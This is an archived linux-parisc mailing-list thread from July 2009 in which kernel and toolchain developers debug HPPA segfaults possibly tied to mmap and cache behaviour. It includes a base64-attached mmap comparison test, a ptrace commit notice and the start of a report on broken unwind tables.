	id S1753561AbZGFN3E (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Jul 2009 09:29:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754028AbZGFN3E
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 6 Jul 2009 09:29:04 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4064 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753561AbZGFN3E (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Jul 2009 09:29:04 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id B39E6500D; Mon,  6 Jul 2009 09:28:35 -0400 (EDT)
In-Reply-To: <4A518DBD.3090209@tausq.org> from "Randolph Chung" at Jul 6, 2009 01:38:05 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1869 gmane.linux.debian.ports.hppa:5817 gmane.linux.debian.devel.release:31032
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1869>

> >>>>> I seem to recall that the kernel mmap implementation on hppa is somewhat
> >>>>> unique.
> >>>>>           
> >>>> I don't recall anything, Kyle?
> >>>>         
> >>> This came up with respect to the GCC PCH implementation for parisc.  See
> >>> comments in host-hpux.h.  At the moment, we do have a PCH related bug.
> >>> See PR 39355.  While I know the problem is present in the PCH file, I
> >>> haven't been able to figure out how wrong data gets in the file.
> >>>       
> There are some limitations on hppa if a file is both opened for reading 
> (via read()) and written to via a mmap'ed mapping. This came up a few 
> years ago.
> 
> Does gcc do this?

Not that I am aware of.  The situation is essentially the reverse of
the above.  Data is written from a region of memory.  Then, in another
instance of gcc, it needs to be mmap'ed back to the same location in
memory.  In theory, it could be brought back to a different location
but this would require a fairly complex set of relocations.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Mon, 6 Jul 2009 12:36:16 -0400
Lines: 87
Approved: news@gmane.org
Message-ID: <119aab440907060936x7051933fgfde585df640ca1b1@mail.gmail.com>
References: <4A518DBD.3090209@tausq.org>
	 <20090706132836.B39E6500D@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=001636499603df573f046e0c1aba
X-Trace: ger.gmane.org 1246898191 25270 80.91.229.12 (6 Jul 2009 16:36:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 Jul 2009 16:36:31 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	James.Bottomley@hansenpartnership.com, deller@gmx.de,
	kurt@roeckx.be, pkern@debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org, debian-release@lists.debian.org,
	kyle@mcmartin.ca
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 06 18:36:22 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNrAy-000485-Vx
	for glpp-linux-parisc@gmane.org; Mon, 06 Jul 2009 18:36:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750946AbZGFQgO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Jul 2009 12:36:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751387AbZGFQgO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 6 Jul 2009 12:36:14 -0400
Original-Received: from ey-out-1920.google.com ([74.125.78.146]:60569 "EHLO
	ey-out-1920.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750946AbZGFQgO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Jul 2009 12:36:14 -0400
Original-Received: by ey-out-1920.google.com with SMTP id 3so885849eyh.36
        for <linux-parisc@vger.kernel.org>; Mon, 06 Jul 2009 09:36:16 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type;
        bh=IwBnzV2PU+yzlghw3nvDFW8QaHaS0scpMDiX6HKh43g=;
        b=h+ZULeoLmE1R//IeClY3eftN3sOvS+wu0eZ+DFC1fgV5unPdYuk+3EuQs1ic8SQSVB
         OqxMlGs7dN+BqbRXx6DYOisE5NIgVdcYeukpIYz8YRNh9alRvlHFGEZkieHRxzvffwWJ
         KCz1DZ0In8SC+M5950almrgt6JAOzp+AlmASk=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=DBkSBcobU2D8v6opm/lKpVhduppvh4lTTtDx+yWHFyYMbbhOOslMgGE98koyOhAICz
         yEhTmQVYG+oqF/YmCglhF/1marw4Ul0GP5vgCE9q2BlMLp7jdnR3jkKkawryW5JHjfHf
         ghip7uTBpwNzWPkTZv/P65kwhLDsxw8yaoFw8=
Original-Received: by 10.216.18.212 with SMTP id l62mr1210784wel.76.1246898176349; Mon, 
	06 Jul 2009 09:36:16 -0700 (PDT)
In-Reply-To: <20090706132836.B39E6500D@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 97bf8c32f8ceef1f
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1870 gmane.linux.debian.ports.hppa:5818 gmane.linux.debian.devel.release:31039
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1870>

--001636499603df573f046e0c1aba
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable

On Mon, Jul 6, 2009 at 9:28 AM, John David
Anglin<dave@hiauly1.hia.nrc.ca> wrote:
> Not that I am aware of. =A0The situation is essentially the reverse of
> the above. =A0Data is written from a region of memory. =A0Then, in anothe=
r
> instance of gcc, it needs to be mmap'ed back to the same location in
> memory. =A0In theory, it could be brought back to a different location
> but this would require a fairly complex set of relocations.

GCC does not read() and write to the mmap()'d file.

The dynamic loader uses MAP_DENYWRITE to avoid writing into the mmap()'d me=
mory.

I will reiterate my point here that the dynamic linker the first user
of mmap in a newly started process, and the first program to read and
process data from the mmap'd files. Therefore the dynamic linker is
always the first to suffer if a mapped region of memory is not
correct.

What we need to do here is create a test case.

I tried this:

1. cp /lib/libc.so.6 original.so
2. cp /lib/libc.so.6 map.so
3. gcc -O2 -g -o test-mmap test-mmap.c
4. while true; do ./test-mmap ./original.so ./map.so; done;

The test mmap's a file and compares it to the original, aborting if
the comparison fails. I've yet to see it abort on my a500, and I've
run 20-30 instances of the test simultaneously. Then again I don't see
any serious segv's like others do (2.6.26-1-parisc64-smp).

What might be a better testcase?

Cheers,
Carlos.

--001636499603df573f046e0c1aba
Content-Type: text/x-csrc; charset=US-ASCII; name="test-mmap.c"
Content-Disposition: attachment; filename="test-mmap.c"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_fwtewrex0

I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHN5cy9tbWFu
Lmg+IC8qIG1tYXAgKi8KI2luY2x1ZGUgPHN5cy90eXBlcy5oPiAvKiBvcGVuICovCiNpbmNsdWRl
IDxzeXMvc3RhdC5oPiAvKiBvcGVuICovCiNpbmNsdWRlIDxmY250bC5oPiAvKiBvcGVuICovCiNp
bmNsdWRlIDx1bmlzdGQuaD4gLyogbHNlZWsgKi8KCiNkZWZpbmUgQk1BWCA0MDk2CgppbnQgCm1h
aW4gKGludCBhcmdjLCBjaGFyICoqYXJndikKewogIHZvaWQgKm1hcHByZWY7CiAgaW50IGZkLCBm
ZGM7CiAgb2ZmX3QgbWFwbGVuZ3RoLCBpbmRleCwgajsKICBjaGFyICpvcmlnaW5hbCA9IGFyZ3Zb
MV0sICpjb3B5ID0gYXJndlsyXTsKICBjaGFyIGJ1ZltCTUFYXSwgKm1idWY7CiAgc3NpemVfdCBy
ZXQ7CiAgLyogT3BlbiBvcmlnaW5hbCBmaWxlIHRvIGNvbXB1dGUgc2l6ZS4gV2Ugb3BlbiB0aGUg
b3JpZ2luYWwKICAgICBmaWxlIHRvIHNpbXVsYXRlIGhhdmluZyB0aGUgZmQgb3BlbiBiZWZvcmUg
bW1hcCBhcyB0aGUKICAgICBkeW5hbWljIGxvYWRlciBkb2VzLiAgKi8KICBmZCA9IG9wZW4gKG9y
aWdpbmFsLCBPX1JET05MWSk7CiAgaWYgKGZkID09IC0xKQogICAgewogICAgICBwZXJyb3IgKCJv
cGVuIik7CiAgICAgIGFib3J0ICgpOwogICAgfQogIG1hcGxlbmd0aCA9IGxzZWVrIChmZCwgMCwg
U0VFS19FTkQpOwogIGlmIChmZCA9PSAtMSkKICAgIHsKICAgICAgcGVycm9yICgibHNlZWsiKTsK
ICAgICAgYWJvcnQgKCk7CiAgICB9CiAgLyogTm93IG1tYXAgdGhlIG9wZW4gZmlsZS4gKi8KICBt
YXBwcmVmID0gbW1hcCAoKHZvaWQgKiltYXBwcmVmLCAKCQkgIG1hcGxlbmd0aCwgCgkJICBQUk9U
X1JFQUQgfCBQUk9UX0VYRUMsIAoJCSAgTUFQX1BSSVZBVEUgfCBNQVBfREVOWVdSSVRFIHwgTUFQ
X0ZJTEUsIAoJCSAgZmQsIAoJCSAgMCk7CiAgaWYgKG1hcHByZWYgPT0gKHZvaWQgKiktMSkKICAg
IHsKICAgICAgcGVycm9yICgibW1hcCIpOwogICAgICBhYm9ydCAoKTsKICAgIH0KICBtYnVmID0g
KGNoYXIgKiltYXBwcmVmOwogIC8qIENvbXBhcmUgbW1hcCB0byBjb3B5LiAqLwogIGZkYyA9IG9w
ZW4gKGNvcHksIE9fUkRPTkxZKTsKICBpZiAoZmRjID09IC0xKQogICAgewogICAgICBwZXJyb3Ig
KCJvcGVuICMyIik7CiAgICAgIGFib3J0ICgpOwogICAgfQogIGZvciAoaW5kZXggPSAwOyBpbmRl
eCA8IG1hcGxlbmd0aDsgaW5kZXggKz0gQk1BWCkKICAgIHsKICAgICAgcmV0ID0gcmVhZCAoZmRj
LCAmYnVmWzBdLCBCTUFYKTsKICAgICAgaWYgKChyZXQgIT0gQk1BWCkgJiYgKHJldCA9PSAtMSkp
CiAgICAgICAgewoJICBwZXJyb3IgKCJyZWFkIik7CgkgIGFib3J0ICgpOwogICAgICAgIH0KICAg
ICAgZm9yIChqID0gMDsgKChqIDwgQk1BWCkgJiYgKChpbmRleCArIGopIDwgbWFwbGVuZ3RoKSk7
IGorKykKICAgICAgICB7CgkgIGlmIChtYnVmW2luZGV4ICsgal0gIT0gYnVmW2pdKQoJICAgIHsK
CSAgICAgIGZwcmludGYoc3RkZXJyLCAiTWlzbWF0Y2ggYXQgJWxkLCByZWFkICVkLCBleHBlY3Rl
ZCAlZFxuIiwgCgkJCWluZGV4ICsgaiwgKHVuc2lnbmVkIGludCltYnVmW2luZGV4ICsgal0sICh1
bnNpZ25lZCBpbnQpYnVmW2pdKTsKCSAgICAgIGFib3J0ICgpOwoJICAgIH0KCSAgaWYgKERFQlVH
KQoJICAgIHByaW50ZiAoIk1hdGNoIGF0ICVsZCwgcmVhZCAlZCwgZXhwZWN0ZWQgJWRcbiIsCgkJ
CWluZGV4ICsgaiwgKHVuc2lnbmVkIGludCltYnVmW2luZGV4ICsgal0sICh1bnNpZ25lZCBpbnQp
YnVmW2pdKTsKICAgICAgICB9CiAgICB9CiAgcmV0dXJuIDA7Cn0KCg==
--001636499603df573f046e0c1aba--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Mon, 6 Jul 2009 14:45:37 -0400 (EDT)
Lines: 61
Approved: news@gmane.org
Message-ID: <20090706184539.5A76D4FE0@hiauly1.hia.nrc.ca>
References: <119aab440907060936x7051933fgfde585df640ca1b1@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246905961 17761 80.91.229.12 (6 Jul 2009 18:46:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 Jul 2009 18:46:01 +0000 (UTC)
Cc: randolph@tausq.org, James.Bottomley@hansenpartnership.com,
	deller@gmx.de, kurt@roeckx.be, pkern@debian.org,
	debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org,
	debian-release@lists.debian.org, kyle@mcmartin.ca
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 06 20:45:52 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNtCI-0000FN-3X
	for glpp-linux-parisc@gmane.org; Mon, 06 Jul 2009 20:45:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751806AbZGFSpp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Jul 2009 14:45:45 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752013AbZGFSpp
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 6 Jul 2009 14:45:45 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4086 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751806AbZGFSpo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Jul 2009 14:45:44 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 5A76D4FE0; Mon,  6 Jul 2009 14:45:38 -0400 (EDT)
In-Reply-To: <119aab440907060936x7051933fgfde585df640ca1b1@mail.gmail.com> from "Carlos O'Donell" at Jul 6, 2009 12:36:16 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1871 gmane.linux.debian.ports.hppa:5819 gmane.linux.debian.devel.release:31040
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1871>

> I will reiterate my point here that the dynamic linker the first user
> of mmap in a newly started process, and the first program to read and
> process data from the mmap'd files. Therefore the dynamic linker is
> always the first to suffer if a mapped region of memory is not
> correct.

That is true to a certain extent.  However, there are large portions
of code and initialized data that it doesn't touch.  I don't think
that I've ever seen an invalid instruction fault.  So, I'm not fully
convinced that we understand the cause of these segvs.

As far as I can tell, the mmap'd data appears correct (at least as
far as what was recorded in the core file).  What is wrong is the
l_info field in the linker map.  Prior to failing on processing
libdl.so.2, it had successfully processed itself and libncurses.so.5
(see NEEDED entries for /bin/sh).  There isn't a lot that happens
between mmap'ing the file and the access to the STRTAB entry in
the l_info field.  The NEEDED entry at l_info[1] seems ok in the
dump.

I doubt this is a TLB issue as the data is a long way from page
boundaries.  Possibly, there is a cache line issue in the mmap'd
file, or as I suggested before a race condition and the file isn't
fully mapped when the mmap call returns.  In any case, the extraction
of the dynamic data failed after doing the first NEEDED entry.

I have to think that this has something to do with the machine
being a rp3440 (large memory and cache).  I have never seen this
on my c3750 with 32-bit UP kernel.  Also, this was with a 64-bit
UP kernel.

> What we need to do here is create a test case.
> 
> I tried this:
> 
> 1. cp /lib/libc.so.6 original.so
> 2. cp /lib/libc.so.6 map.so
> 3. gcc -O2 -g -o test-mmap test-mmap.c
> 4. while true; do ./test-mmap ./original.so ./map.so; done;
> 
> The test mmap's a file and compares it to the original, aborting if
> the comparison fails. I've yet to see it abort on my a500, and I've
> run 20-30 instances of the test simultaneously. Then again I don't see
> any serious segv's like others do (2.6.26-1-parisc64-smp).
> 
> What might be a better testcase?

I typically run my GCC builds with `make -j 4'.  So, there's a mix
of other stuff actively running at any time.

I'll give the testcase a try tonight.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/tracehook
Date: Mon, 6 Jul 2009 21:30:43 GMT
Lines: 22
Approved: news@gmane.org
Message-ID: <200907062130.n66LUhGb022678@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1246915856 15338 80.91.229.12 (6 Jul 2009 21:30:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 Jul 2009 21:30:56 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 06 23:30:49 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNvlu-0000dN-VW
	for glpp-linux-parisc@gmane.org; Mon, 06 Jul 2009 23:30:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751790AbZGFVal (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Jul 2009 17:30:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752558AbZGFVal
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 6 Jul 2009 17:30:41 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:39672 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751790AbZGFVak (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Jul 2009 17:30:40 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX18o69PDh+NCat5LnaM7mpLB1mJCGxPb2lc@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n66LUijq022679
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Mon, 6 Jul 2009 21:30:44 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n66LUhGb022678
	for linux-parisc@vger.kernel.org; Mon, 6 Jul 2009 21:30:43 GMT
X-Virus-Scanned: ClamAV 0.93.3/9538/Fri Jul  3 14:27:11 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=AWL,BAYES_00,
	UNPARSEABLE_RELAY autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Mon, 06 Jul 2009 21:30:44 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1872
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1872>

New commits:
commit 1bfad82af3452a5ba38fddae5b8bdd0689bffbb2
Author: Kyle McMartin <kyle@phobos.i.jkkm.org>
Date:   Mon Jul 6 17:28:53 2009 -0400

    parisc: first pass of new-style ptrace for parisc
    
    This is going to be super nasty to gdb if we ever try to wire up
    PTRACE_(GET|SET){,FP}REGS since the format is different between
    coredump and pt_regs.
    
    Hopefully this maintains the coredump ABI. Let's test and see.
    (This commit will get squashed later, once I fix the build several
    times over I suspect.)
    
    Definitely-not-signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Mon, 6 Jul 2009 17:43:15 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20090706214315.GA3826@bombadil.infradead.org>
References: <119aab440907060936x7051933fgfde585df640ca1b1@mail.gmail.com> <20090706184539.5A76D4FE0@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1246916622 17481 80.91.229.12 (6 Jul 2009 21:43:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 Jul 2009 21:43:42 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>, randolph@tausq.org,
	James.Bottomley@hansenpartnership.com, deller@gmx.de,
	kurt@roeckx.be, pkern@debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org, debian-release@lists.debian.org,
	kyle@mcmartin.ca
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 06 23:43:33 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNvyG-00053y-TW
	for glpp-linux-parisc@gmane.org; Mon, 06 Jul 2009 23:43:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752068AbZGFVn1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Jul 2009 17:43:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752693AbZGFVn1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 6 Jul 2009 17:43:27 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:39762 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752068AbZGFVn1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Jul 2009 17:43:27 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MNvxz-0003vZ-BS; Mon, 06 Jul 2009 21:43:15 +0000
Content-Disposition: inline
In-Reply-To: <20090706184539.5A76D4FE0@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1873 gmane.linux.debian.ports.hppa:5820 gmane.linux.debian.devel.release:31048
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1873>

On Mon, Jul 06, 2009 at 02:45:37PM -0400, John David Anglin wrote:
> I have to think that this has something to do with the machine
> being a rp3440 (large memory and cache).  I have never seen this
> on my c3750 with 32-bit UP kernel.  Also, this was with a 64-bit
> UP kernel.
> 

If I remember correctly, there's still some issues with the L2 cache on
pa8800 that we haven't quite bothered to work out yet, since it's "good
enough" for now. James probably knows more. It would be interesting to
see if you could reproduce it with a UP 64-bit kernel on your C3750 to
discount the L2 problems.

regards, Kyle

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc: unwind tables and backtraces broken?
Date: Mon, 06 Jul 2009 23:58:47 +0200
Lines: 120
Approved: news@gmane.org
Message-ID: <4A527397.7060306@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------030104070503020705080104"
X-Trace: ger.gmane.org 1246917636 20314 80.91.229.12 (6 Jul 2009 22:00:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 Jul 2009 22:00:36 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Randolph Chung <randolph@tausq.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 07 00:00:28 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNwD7-0003dK-C7
	for glpp-linux-parisc@gmane.org; Mon, 06 Jul 2009 23:58:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753057AbZGFV6r (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Jul 2009 17:58:47 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753348AbZGFV6r
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 6 Jul 2009 17:58:47 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:56615 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753057AbZGFV6r (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Jul 2009 17:58:47 -0400
Original-Received: (qmail invoked by alias); 06 Jul 2009 21:58:48 -0000
Original-Received: from p4FDB2ECF.dip0.t-ipconnect.de (EHLO halden.box) [79.219.46.207]
  by mail.gmx.net (mp068) with SMTP; 06 Jul 2009 23:58:48 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19rmT0+V4JrMfZq0cpGQ8vac9S3Dz7vB8z8P5tZ+l
	VLUq15SdyfTPGa
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3pre) Gecko/20090513 Fedora/3.0-2.3.beta2.fc11 Thunderbird/3.0b2
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1874
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1874>

This is a multi-part message in MIME format.
--------------030104070503020705080104
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

I started looking into why CONFIG_BACKTRACE_SELF_TEST=y shows uncomplete/wrong/broken backtraces.

To me it seems, that the unwind tables are broken when using newer gcc/binutils versions.
I'm running hppa-linux-gcc (GCC) 4.3.3, and GNU ld (GNU Binutils) 2.19.51.20090704.

hppa-linux-objdump -d vmlinux gives:

vmlinux:     file format elf32-hppa-linux
Disassembly of section .text:
10100000 <stext-0x700>:
10100000:       20 2f e2 06     ldil L%103df000,r1
10100004:       e0 20 28 82     be,n 440(sr4,r1)
10100008:       20 38 42 02     ldil L%10170000,r1
